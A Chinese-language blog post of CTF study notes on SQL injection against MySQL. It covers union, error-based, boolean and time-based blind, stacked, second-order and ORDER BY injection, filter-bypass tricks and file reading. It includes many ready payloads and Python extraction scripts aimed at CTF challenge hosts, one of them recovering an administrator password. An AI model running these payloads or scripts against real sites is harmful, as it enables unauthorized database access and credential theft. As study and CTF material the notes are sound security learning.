SQL注入

Last updated on September 27, 2024 am

基础

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

mysql数据库

cmd连接数据库:

  1. 配置好环境变量
  2. 登录:mysql -u用户名 –p

几个常用命令:

1
2
3
4
5
6
展示数据库中包含的全部库:show databases;
展示库中的所有表:show tables;
展示表的字段结构:show columns from 表名; 或者:desc 表名;
查询表中的数据:select 列名1,列名2,列名3……. from 表名
% 匹配任意字符
_ 匹配单个字符

数据库结构:库->表->列->行

SQL注入点挖掘

登录界面或者查询框先尝试万能密码: a’ or ‘1’=’1或者 admin’-- (注释符) 或者‘^0# 或者*,1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
有回显
联合查询 ->构造联合查询语句
报错注入 ->构造报错语句
堆查询 ->多行语句执行

无回显
盲注 ->布尔型/时间型 通过某种手段“爆破”结果

整形注入:
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试方法:(1)加引号报错(单引号没报错的话,尝试双引号)(2)加注释符还是报错

字符型注入:(单引号没报错尝试双引号)
www.xxx.com/ccc.php?id=1and1’='1
页面正常,继续下一步
www.xxx.com/ccc.php?id=1’ and ‘1’='2
页面报错,则说明存在字符型注入。


## 被过滤时可以用fuzz测试过滤内容

一次注入

联合注入

1
2
3
4
5
6
7
8
9
10
11
12
13
payload:
1.判断数字型注入还是字符型注入
2.测试字段个数
1' order by 3 #; (回显正常)即执行: SELECT id,user,password FROM sql_bug WHERE id = ' 1 ' order by 3 #' limit 1
1' order by 4 #; (回显错误)即执行: SELECT id,user,password FROM sql_bug WHERE id = ' 1 ' order by 4 #' limit 1
3.爆出库名 union select 1,2,database() #
有时候需要查看其他数据库名
0 union select 1,group_concat(schema_name) from information_schema.schemata#
4.爆出表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
5.爆出字段名
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’’ #
6.查询最终的数据 union select group_concat(字段名)from 表名

报错型注入

(一般在没法用联合查询时才用)

ExtractVaule报错

1
2
3
4
5
正确形式:extractvalue(XML_document,Xpath_string)
报错注入: and extractvalue(1,payload)
例:and extractvalue(1,concat(0x7e,(select @@version),0x7e)) //至于是and还是or,需要让这个报错语句能够被执行
extractvalue函数每一次只能显示32位字符, 所以我们需要使用leftright函数分两次将flag左边的内容和右边的内容显示出来,默认从左边取,
取右边:extractvalue(1,concat(0x7e,select group_concat(right(password,30))from))

updateXML 报错

1
2
3
4
updateXML 报错
正确形式:updatexmlXML_document,XPath_string,new_value
报错注入: and updatexml(1,payload,1) 例:updatexml(1,concat(0x7e,(select @@version),0x7e),1 )
ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错

盲注

(只回显正确错误或者不会报错具体内容)

布尔型注入

1
2
3
4
5
6
7
8
9
?id=1’and 1=1 /and 1=2 尝试后页面有变化 
确定数据库长度:?Id=1’ and length((database()))=8 --+
确定数据库名称:?id=1’ and ascii(substring(database(),1,1))=115--+
确定表的个数:?id=1’ and length(((select concat_ws(0x7e,table_name) from%20information_schema.tables where table_schema=database() limit 4,1)))>1--+
确定每个表的长度:?id=1’ and length(((select concat_ws(0x7e,table_name) from information_schema.tables where table_schema=database() limit 0,1)))=6--+
确定每个表达名称:?id=1’ and ascii(substring((select concat_ws(0x7e,table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
确定每一列的长度:?id=1' and length(((select concat_ws(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))=2--+
确定每一列的名称:?id=1' and ascii(substring((select concat_ws(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) =105--+
确定数据:?id=1' and ascii(substring((select concat_ws(0x7e,username,password) from users limit 0,1),1,1)) =68--+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://61.147.171.105:53758/view.php?no='

flag = ''
for i in range(1, 50):
min = 32
max = 127
while min < max:
mid = (min + max) // 2
payload = f"1 and ascii(substring((select group_concat(username,passwd) from users limit 0,1),{i},1)) >{mid}--+"
response = requests.get(url=url + payload)
if 'admin' in response.text:
min = mid + 1
else:
max = mid
if min != 32:
flag += chr(min)
else:
break
print(flag)

时间延时注入

1
2
3
4
5
6
7
8
9
10
报错注入与布尔注入时无反应,可尝试基于时间的注入
sleep()参数写数字,此函数用于将时间延迟,参数的单位是秒
IF(SUBSTR(password,1,1)=1,BENCHMARK(100000,SHA1(1337)),0) #sleep过滤时可替换
if(expr1,expr2,expr3)若expr1为真则执行expr2,否则执行expr3
根据真假的不同网站的返回时间进行注入,
?id=1 and sleep(10)--+
?id=1 'and sleep(10)--+
?id=1’ and if(ascii(left(database(),1))=115,sleep(5),1)--+
?id=1'and if(ascii(substring((select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))>0,sleep(2),1)--+
后面步骤同布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = ''

flag = ''
for i in range(1, 50):
min = 32
max = 127
while min < max:
mid = (min + max) // 2
# payload = f"-1/**/||if(ascii(substring((select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/5,1),{i},1))>{mid},sleep(2),1)/**/%23" #ctf
# payload=f"-1/**/||if(ascii(substring((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'/**/limit/**/0,1),{i},1))>{mid},sleep(2),1)/**/%23" #items
# payload=f"-1/**/||if(ascii(substring((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'items'/**/limit/**/3,1),{i},1))>{mid},sleep(2),1)/**/%23" # id,name,price
payload=f"-1/**/||if(ascii(substring((select/**/right(group_concat(name,price),46)/**/from/**/items),{i},1))>{mid},sleep(2),1)/**/%23"
t1 = time.time()
response = requests.get(url=url + payload)
t2 = time.time()
if t2 - t1 > 2:
min = mid + 1
else:
max = mid
if min != 32:
flag += chr(min)
else:
break
print(flag)

堆叠注入

(select 被过滤时考虑用show)

1
2
3
4
5
6
7
8
9
10
11
Show databases;
Use 数据库名;show tables;
Show columns from 表名;
更改表名:alter table 旧表名 rename to 新表名 //在可回想部分表内容时,可以把要显示的表名修改成要有显示的表名
更改列名:alter table 表名 change 旧列名 新列名 新列名的数据类型
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法://users处为表名
Handler users open;
Handler users read first;
Handler users read next;
Handler users close;

通配符攻击

可以用来爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SELECT password FROM users WHERE username='admin' and password='1' or password ='flag%'--+'
alpha = string.hexdigits
pswd = ''

while True:
flag = True
for i in alpha:
post_data = {"username": "admin",
"password": f"1'/**/or/**/password/**/like/**/'{pswd + i}%'#"}
response = requests.post(url, data=post_data)
time.sleep(0.1)
if "something" not in response.text:
pswd += i
print(pswd)
flag = False
break

if flag:
break

二次注入

二次注入需要先把注入的语句写入数据库,等下一次查询到该语句是再的新的语句构成注入

一般注入点在有写入数据库的位置,注入的东西要结合查询语句去构造

INSERT INTO 注入

1
INSERT INTO users (username,password) values ('%s', '%s')", $_POST["username"], $_POST["password"]

由于输入的数据直接拼接到mysql语句中,并且没有做过滤,就会导致恶意sql语句注入

1
username=abc',HEX(SUBSTR((SELECT password FROM (SELECT * FROM users)tmp WHERE username='admin'),1,1)))-- &password=1

注意:要有引号闭合,最后要多一个)闭合,注释符:-- ,因为对大小写不敏感,所以用hex编码来区分

将要查找的值读完存起来,再想方法把值读出来

ORDER BY 爆破密码

看一道HKCERT CTF2023 的题目

有注入点的代码

1
cursor.execute(f"SELECT username, publicnote FROM users ORDER BY {column} {ascending};")

这里用{column}而不是(%s),(column),所以存在sql注入

题目大概是拿到Administrator的密码(16为十进制数)然后登录获取flag

利用order by的排序规则,每次注册一个用户,然后按照密码某一位排序,通过相对位置可以推算出密码,小坑就是相同字母排序好像是随机的,所以最终会导致推算不准,需要进一步爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import base64
import json

url = 'http://chal-a.hkcert23.pwnable.hk:28107/'


def signup(username, password):
header = {"Content-Type": "application/json"}
cookie = {"PHPSESSID": "1e45ea4eb9daa404b6e75847ca9e2558"}
data = {"username": username, "password": password}
data = json.dumps(data)
r = requests.post(url=url + 'signup', cookies=cookie, headers=header, data=data)
# print(r.text)


def note(token, i, username1, username2):
payload = f'?noteType=public&column=right(left(password,{i}),1)&ascending=ASC'
cookie = {"PHPSESSID": "1e45ea4eb9daa404b6e75847ca9e2558", "token": token}
r = requests.get(url=url + '/note' + payload, cookies=cookie)
# print(r.text)
JSON = json.loads(r.text)
# print(JSON)
for j, item in enumerate(JSON['content']):
if item['username'] == 'Administrator':
index_admin = j
elif item['username'] == username1:
index_username1 = j
elif item['username'] == username2:
index_username2 = j

if index_username1 < index_admin and index_admin < index_username2:

return "yes"
else:
return "no"


if __name__ == '__main__':
p = ''
for i in range(1, 17, 1):
for j in range(47, 57, 1):

username1 = f'bccdd{i}' + chr(j)
password1 = '0' * (i - 1) + chr(j) + '0' * (16 - i)
signup(username1, password1)
token1 = base64.b64encode(f"{username1}:{password1}".encode()).decode()
if (j == 56):
username2 = f'bbccd{i}' + chr(j + 3)
password2 = '0' * (i - 1) + chr(j + 3) + '0' * (16 - i)
else:
username2 = f'bbccd{i}' + chr(j + 2)
password2 = '0' * (i - 1) + chr(j + 2) + '0' * (16 - i)
signup(username2, password2)
token2 = base64.b64encode(f"{username2}:{password2}".encode()).decode()
flag = note(token2, i, username1, username2)
if (flag == "yes"):
p += chr(j+1)
print(p)
break
# 8336883846371110

缩小爆破范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
one = '89'
two = '34'
three = '34'
four = '67'
five = '89'
six = '89'
senve = '34'
eight = '89'
nine = '45'
ten = '67'
eleven = '34'
twe = '78'
thir = '12'
fort = '12'
fif = '12'
sist = '01'


for a in one:
for b in two:
for c in three:
for d in four:
for e in five:
for f in six:
for g in senve:
for h in eight:
for i in nine:
for j in ten:
for k in eleven:
for l in twe:
for m in thir:
for n in fort:
for o in fif:
for p in sist:
payload = a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p
username = "Administrator"
password = payload
header = {"Content-Type": "application/json"}
token = base64.b64encode(
f"{username}:{password}".encode()).decode()
fi = open("password.txt", "a")
fi.write(password+'\n')
fi.close()
fi = open("token.txt", "a")
fi.write(token+'\n')
fi.close()
#8446993857382221

进阶

应对各种过滤技巧

过滤空格

注释符/**/绕过

1
SELECT/**/name/**/FROM/**/table

用Tab代替空格

%20绕过

1
SELECT%20name%20FROM%20table

使用url编码绕过

1
%a0 发出去就是空格的意思,但是需要在burp中抓包后修改

使用回车替代

1
回车的ascii为chr(13)&chr(10),url编码为%0d%0a

双空格

1
适用于过滤是替换一个空格

用括号绕过

1
select(user())from dual where(1=1)and(2=2)

过滤引号

%27代替引号

十六进制绕过

1
原语句:select column_name  from information_schema.tables where table_name=0x7573657273   //hex(users)   只能对参数使用

ASCII码绕过

1
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

过滤等于号

1
2
用 like 代替 :a=b  --->>> a like b
regexp 代替等于号 a regexp b ,regexp是正则

过滤逗号

使用from关键字绕过

对于substr()mid()这两个方法可以使用from to的方式来解决

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join关键字绕过

1
2
3
union select 1,2
等价于
union select * from (select 1)a join (select 2)b

使用offset关键字绕过

对于limit可以使用offset来绕过:

1
2
3
select * from news limit 0,1
等价于
select * from news limit 1 offset 0

过滤注释符(#和–+)

1
2
3
1)最后的or '1闭合查询语句的最后的单引号:id=1' union select 1,2,3||'1
2)%23绕过
3);%00绕过

过滤关键字

分割关键字

1
/**/,<> 分割:sel<>ect、sel/**/ect

使用加号+拆解字符串

1
or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

大小写绕过

1
id=-1'UnIoN/**/SeLeCT

双写绕过

1
适用于剥离关键字的

编码绕过

1
16进制编码,url编码,ascii编码(都只对参数有效)

过滤连接关键字

过滤concat()

1
使用make_set()代替

make_set()用法

make_set(bits,str1,str2,…)会将bits(十进制)转为二进制然后取二进制反码,然后从左到右每一位对应一个字符,如果该位为1,则输出该位对应的字符

文件读取

1
2
3
show variables like "%secure_file%";
当值为空时,mysql可以读取任何文件
当值为某一路径时,只有改路径下的文件能够被mysql读取

load_file(path)(需要root权限)可以用user()查看权限

1
2
0' union select user()#
0' union select load_file()#

无列名注入

通常获取列名是通过information_schema,但有时会被过滤

可以先查表名

1.InnoDb引擎

MYSQL5.5.8之后,InnoDB成为其默认存储引擎。

MYSQL5.6以上版本,增加了innodb_index_stats和innodb_table_stats两张表,可以获取数据库和表名,但无列名

1
2
union select group_concat(table_name)from mysql.innodb_index_stats where database_name=database()
union select group_concat(table_name)from mysql.innodb_table_stats where database_name=database()

2.sys数据库

5.7以上的MYSQL,新增了sys数据库,可以通过schema_auto_increment_columns获取表名

1
2
select table_name from sys.schema_table_statistics_with_buffer where table_schema = database()
select table_name from sys.schema_auto_increment_columns where table_schema ='ctf'

原理:通过联合查询构造虚拟表将数据外带,通过自定义列名,再从虚拟表中查询

1
select `2` from (select 1,2,3 union select * from test)n

参考资料

https://ctf-wiki.org/web/sqli/

https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/MySQL Injection.md#using-conditional-statements


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/01/31/SQL%E6%B3%A8%E5%85%A5/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!